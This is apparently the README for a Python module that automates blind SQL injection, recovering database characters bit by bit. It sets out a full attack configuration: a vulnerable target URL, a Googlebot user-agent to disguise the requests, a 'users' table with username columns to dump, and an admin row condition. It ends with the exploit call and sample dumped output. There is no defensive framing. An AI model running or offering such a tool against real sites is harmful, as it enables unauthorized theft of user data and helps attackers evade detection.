Blind SQL Injection via Bitshifting
This is a module that performs blind SQL injection by using the bitshifting method to calculate characters instead of guessing them. It requires 7/8 requests per character, depending on the configuration.
Usage
import blind-sql-bitshifting as x
# Edit this dictionary to configure attack vectors
x.options
Example configuration:
# Vulnerable link
x.options["target"] = "http://www.example.com/index.php?id=1"
# Specify cookie (optional)
x.options["cookies"] = ""
# Specify a condition for a specific row, e.g. 'uid=1' for admin (optional)
x.options["row_condition"] = ""
# Boolean option for following redirections
x.options["follow_redirections"] = 0
# Specify user-agent
x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
# Specify table to dump
x.options["table_name"] = "users"
# Specify columns to dump
x.options["columns"] = "id, username"
# String to check for on page after successful statement
x.options["truth_string"] = "<p id='success'>true</p>"
# See below
x.options["assume_only_ascii"] = 1
The assume_only_ascii option makes the module assume that the characters it's dumping are all ASCII. Since the ASCII charset only goes up to 127, we can set the first bit to 0 and not worry about calculating it. That's a 12.5% reduction in requests. Testing locally, this yielded an average speed increase of 15%. Of course this can cause issues when dumping chars that are outside of the ASCII range. By default, it's set to 0.
Once configured:
data = x.exploit()
This returns a 2-dimensional array, with each sub-array containing a single row, the first being the column headers.
Example output:
[['id', 'username'], ['1', 'user1'], ['2', 'user2'], ['3', 'user3'], ['4', 'user4']]
Optionally, your scripts can then harness the tabulate module to output the data:
from tabulate import tabulate
data = x.exploit()
print tabulate(data,
headers='firstrow', # This specifies to use the first row as the column headers.
tablefmt='psql') # Using the SQL output format. Other formats can be used.
This would output:
+------+------------+
| id | username |
|------+------------|
| 1 | user1 |
| 2 | user2 |
| 3 | user3 |
| 4 | user4 |
+------+------------+
